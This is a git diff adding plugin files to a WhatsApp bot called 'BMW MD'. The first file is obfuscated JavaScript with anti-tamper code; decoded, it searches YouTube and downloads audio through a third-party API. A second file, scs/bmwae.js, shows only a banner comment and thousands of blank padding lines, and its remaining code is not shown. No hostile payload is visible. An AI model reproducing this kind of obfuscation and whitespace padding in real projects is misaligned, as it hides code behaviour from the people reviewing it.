+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+**/
+function _0x18e4(){const _0x15049e=['wich\x20song\x20do\x20you\x20want.','no\x20video\x20found.','pipe','_\x0a\x0a\x0a_*©Ibrahim\x20Adams*_\x0a\x0a','150LhYujY','timestamp','toFixed','stream','2433333reCvoU','join','title','327090aOlMls','search','680214miTVcN','thumbnail','url','Bmw\x20is\x20loading▰▰▰▰▱▱▱','../Ibrahim/adams','search\x20for\x20a\x20youtube\x20song','1667254OvUTuK','sendMessage','\x0aTime\x20:\x20','*BMW\x20MD\x20YOUTUBE\x20SEARCH*\x0a\x0aBmw\x20md\x20is\x20downloading\x20:\x20','song2','16oaLpCO','createWriteStream','Bmw\x20is\x20loading▰▰▰▰▱▱▱\x200ms','Search','yt-search','Erreur\x20lors\x20de\x20l\x27écriture\x20du\x20fichier:','toString','1364944QfwAkJ','(((.+)+)+)+$','Téléchargement\x20terminé\x20avec\x20succès\x20!','Bmw\x20is\x20loading▰▰▰▰▱▱▱\x20','apply','content-length','videos','audio.mp3','data','get','Taille\x20totale\x20du\x20fichier:','1VUadyO','length','20JIbNhz','constructor','headers','audio/mp4','finish','771276LDwsHS','key','\x0aYoutube\x20link\x20:\x20','error','axios','4815837diNDGi'];_0x18e4=function(){return _0x15049e;};return _0x18e4();}function _0xdb7f(_0x2ffe3b,_0x3a7f0b){const _0x18e4cf=_0x18e4();return _0xdb7f=function(_0xdb7fd3,_0x2c8c98){_0xdb7fd3=_0xdb7fd3-0x1bd;let _0x100fed=_0x18e4cf[_0xdb7fd3];return _0x100fed;},_0xdb7f(_0x2ffe3b,_0x3a7f0b);}const _0x3b2c97=_0xdb7f;(function(_0x29038b,_0x529222){const _0x188e89=_0xdb7f,_0x12bb86=_0x29038b();while(!![]){try{const _0x9693aa=-parseInt(_0x188e89(0x1ed))/0x1*(parseInt(_0x188e89(0x1d6))/0x2)+-parseInt(_0x188e89(0x1ce))/0x3+-parseInt(_0x188e89(0x1e2))/0x4*(-parseInt(_0x188e89(0x1ef))/0x5)+parseInt(_0x188e89(0x1d0))/0x6+-parseInt(_0x188e89(0x1cb))/0x7*(-parseInt(_0x188e89(0x1db))/0x8)+parseInt(_0x188e89(0x1c2))/0x9+-parseInt(_0x188e89(0x1c7))/0xa*(parseInt(_0x188e89(0x1bd))/0xb);if(_0x9693aa===_0x529222)break;else _0x12bb86['push'](_0x12bb86['shift']());}catch(_0x8dcc9){_0x12bb86['push'](_0x12bb86['shift']());}}}(_0x18e4,0xae607));const a54_0x3f73c3=(function(){let _0xc2d2c6=!![];return function(_0xf8c6dc,_0x31485e){const _0x434b80=_0xc2d2c6?function(){const _0x4f4c49=_0xdb7f;if(_0x31485e){const _0x354ce7=_0x31485e[_0x4f4c49(0x1e6)](_0xf8c6dc,arguments);return _0x31485e=null,_0x354ce7;}}:function(){};return _0xc2d2c6=![],_0x434b80;};}()),a54_0x3bdf75=a54_0x3f73c3(this,function(){const _0x2809a3=_0xdb7f;return a54_0x3bdf75[_0x2809a3(0x1e1)]()[_0x2809a3(0x1cf)]('(((.+)+)+)+$')[_0x2809a3(0x1e1)]()[_0x2809a3(0x1f0)](a54_0x3bdf75)[_0x2809a3(0x1cf)](_0x2809a3(0x1e3));});a54_0x3bdf75();const {adams}=require(_0x3b2c97(0x1d4)),yts=require(_0x3b2c97(0x1df)),fs=require('fs'),axios=require(_0x3b2c97(0x1c1));adams({'nomCom':'play2','categorie':'Search','reaction':'🎧','desc':_0x3b2c97(0x1d5)},async(_0x21987e,_0x4d43e6,_0x580980)=>{const _0x1106a9=_0x3b2c97,{ms:_0x48cf3b,repondre:_0x2bb9d7,arg:_0x4b57b8}=_0x580980;if(!_0x4b57b8[0x0]){_0x2bb9d7(_0x1106a9(0x1c3));return;}try{let _0x2da149=_0x4b57b8[_0x1106a9(0x1cc)]('\x20');const _0x1b7125=await yts(_0x2da149),_0x56d6ff=_0x1b7125[_0x1106a9(0x1e8)];if(_0x56d6ff&&_0x56d6ff[_0x1106a9(0x1ee)]>0x0&&_0x56d6ff[0x0]){const _0x23a669=_0x56d6ff[0x0]['url'];let _0xf4600b={'image':{'url':_0x56d6ff[0x0][_0x1106a9(0x1d1)]},'caption':_0x1106a9(0x1d9)+_0x56d6ff[0x0][_0x1106a9(0x1cd)]+'\x0aTime\x20:\x20'+_0x56d6ff[0x0]['timestamp']+_0x1106a9(0x1bf)+_0x56d6ff[0x0][_0x1106a9(0x1d2)]+_0x1106a9(0x1c6)};_0x4d43e6[_0x1106a9(0x1d7)](_0x21987e,_0xf4600b,{'quoted':_0x48cf3b});const _0x46db85=await axios['get']('https://api.cafirexos.com/api/v1/ytmp3?url='+_0x23a669,{'responseType':_0x1106a9(0x1ca)}),_0x5eda30=_0x46db85['headers']['content-length'];console['log'](_0x1106a9(0x1ec),_0x5eda30);let _0x5bdc5d=await _0x4d43e6[_0x1106a9(0x1d7)](_0x21987e,{'text':'Bmw\x20is\x20loading▰▰▰▰▱▱▱\x200ms'}),_0x30ed99=0x0;const _0x3a1481=fs['createWriteStream']('audio.mp3');_0x46db85[_0x1106a9(0x1ea)]['on'](_0x1106a9(0x1ea),_0x3303b9=>{const _0x3106b5=_0x1106a9;_0x30ed99+=_0x3303b9['length'];const _0x406d81=_0x30ed99/_0x5eda30*0x64;_0x4d43e6[_0x3106b5(0x1d7)](_0x21987e,{'text':_0x3106b5(0x1e5)+_0x406d81[_0x3106b5(0x1c9)](0x2)+'ms','edit':_0x5bdc5d[_0x3106b5(0x1be)]});}),_0x46db85['data'][_0x1106a9(0x1c5)](_0x3a1481),_0x3a1481['on'](_0x1106a9(0x1f3),()=>{const _0x220a5b=_0x1106a9;console['log'](_0x220a5b(0x1e4)),_0x4d43e6[_0x220a5b(0x1d7)](_0x21987e,{'audio':{'url':_0x220a5b(0x1e9)},'mimetype':'audio/mp4'},{'quoted':_0x48cf3b,'ptt':![]});}),_0x3a1481['on']('error',_0x3074d8=>{const _0x5f17b6=_0x1106a9;console[_0x5f17b6(0x1c0)](_0x5f17b6(0x1e0),_0x3074d8),_0x2bb9d7('✅');});}else _0x2bb9d7('no\x20video\x20found.');}catch(_0x193762){console[_0x1106a9(0x1c0)]('Erreur\x20lors\x20de\x20la\x20recherche\x20ou\x20du\x20téléchargement\x20de\x20la\x20vidéo\x20:',_0x193762),_0x2bb9d7('✅');}}),adams({'nomCom':_0x3b2c97(0x1da),'categorie':_0x3b2c97(0x1de),'reaction':'🎧','desc':_0x3b2c97(0x1d5)},async(_0x1087a8,_0x212b9f,_0x138cee)=>{const _0xcb7fcf=_0x3b2c97,{ms:_0x57e724,repondre:_0x3c768e,arg:_0xd681b7}=_0x138cee;if(!_0xd681b7[0x0]){_0x3c768e(_0xcb7fcf(0x1c3));return;}try{let _0x4ecef4=_0xd681b7[_0xcb7fcf(0x1cc)]('\x20');const _0x17be29=await yts(_0x4ecef4),_0x50daf0=_0x17be29[_0xcb7fcf(0x1e8)];if(_0x50daf0&&_0x50daf0['length']>0x0&&_0x50daf0[0x0]){const _0x300536=_0x50daf0[0x0]['url'];let _0x2f5620={'image':{'url':_0x50daf0[0x0][_0xcb7fcf(0x1d1)]},'caption':_0xcb7fcf(0x1d9)+_0x50daf0[0x0][_0xcb7fcf(0x1cd)]+_0xcb7fcf(0x1d8)+_0x50daf0[0x0][_0xcb7fcf(0x1c8)]+'\x0aYoutube\x20link\x20:\x20'+_0x50daf0[0x0][_0xcb7fcf(0x1d2)]+_0xcb7fcf(0x1c6)};_0x212b9f[_0xcb7fcf(0x1d7)](_0x1087a8,_0x2f5620,{'quoted':_0x57e724});const _0x5c090b=await axios[_0xcb7fcf(0x1eb)]('https://api.cafirexos.com/api/v1/ytmp3?url='+_0x300536,{'responseType':_0xcb7fcf(0x1ca)}),_0x44491e=_0x5c090b[_0xcb7fcf(0x1f1)][_0xcb7fcf(0x1e7)];console['log'](_0xcb7fcf(0x1ec),_0x44491e);let _0x505ab1=await _0x212b9f['sendMessage'](_0x1087a8,{'text':_0xcb7fcf(0x1dd)}),_0x3c0c95=0x0;const _0x501237=fs[_0xcb7fcf(0x1dc)](_0xcb7fcf(0x1e9));_0x5c090b[_0xcb7fcf(0x1ea)]['on'](_0xcb7fcf(0x1ea),_0x41234b=>{const _0x94fd6d=_0xcb7fcf;_0x3c0c95+=_0x41234b['length'];const _0x1b9a79=_0x3c0c95/_0x44491e*0x64;_0x212b9f[_0x94fd6d(0x1d7)](_0x1087a8,{'text':_0x94fd6d(0x1d3)+_0x1b9a79[_0x94fd6d(0x1c9)](0x2)+'ms','edit':_0x505ab1[_0x94fd6d(0x1be)]});}),_0x5c090b[_0xcb7fcf(0x1ea)]['pipe'](_0x501237),_0x501237['on']('finish',()=>{const _0x213c52=_0xcb7fcf;console['log'](_0x213c52(0x1e4)),_0x212b9f['sendMessage'](_0x1087a8,{'audio':{'url':_0x213c52(0x1e9)},'mimetype':_0x213c52(0x1f2)},{'quoted':_0x57e724,'ptt':![]});}),_0x501237['on'](_0xcb7fcf(0x1c0),_0x520e37=>{const _0x5f4919=_0xcb7fcf;console[_0x5f4919(0x1c0)]('Erreur\x20lors\x20de\x20l\x27écriture\x20du\x20fichier:',_0x520e37),_0x3c768e('✅');});}else _0x3c768e(_0xcb7fcf(0x1c4));}catch(_0x155709){console[_0xcb7fcf(0x1c0)]('Erreur\x20lors\x20de\x20la\x20recherche\x20ou\x20du\x20téléchargement\x20de\x20la\x20vidéo\x20:',_0x155709),_0x3c768e('✅');}});
diff --git a/scs/bmwae.js b/scs/bmwae.js
new file mode 100644
index 0000000..8b7c9d2
--- /dev/null
+++ b/scs/bmwae.js
@@ -0,0 +1,15451 @@
+/**
+Yoo bro what au looking for
+Just deploy the bot with original repo
+
+BMW MD
+
+Made by dev Ibrahim Adams
+
+
+ _.u[[/;:,. .odMMMMMM'
+ .o888UU[[[/;:-. .o@P^ MMM^
+ oN88888UU[[[/;::-. dP^
+ dNMMNN888UU[[[/;:--. .o@P^
+ ,MMMMMMN888UU[[/;::-. o@^
+ NNMMMNN888UU[[[/~.o@P^
+ 888888888UU[[[/o@^-..
+ oI8888UU[[[/o@P^:--..
+ .@^ YUU[[[/o@^;::---..
+ oMP ^/o@P^;:::---..
+ .dMMM .o@^ ^;::---...
+ dMMMMMMM@^` `^^^^
+YMMMUP^
+
+ Unclone version 😂🤣
+
+ **/
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
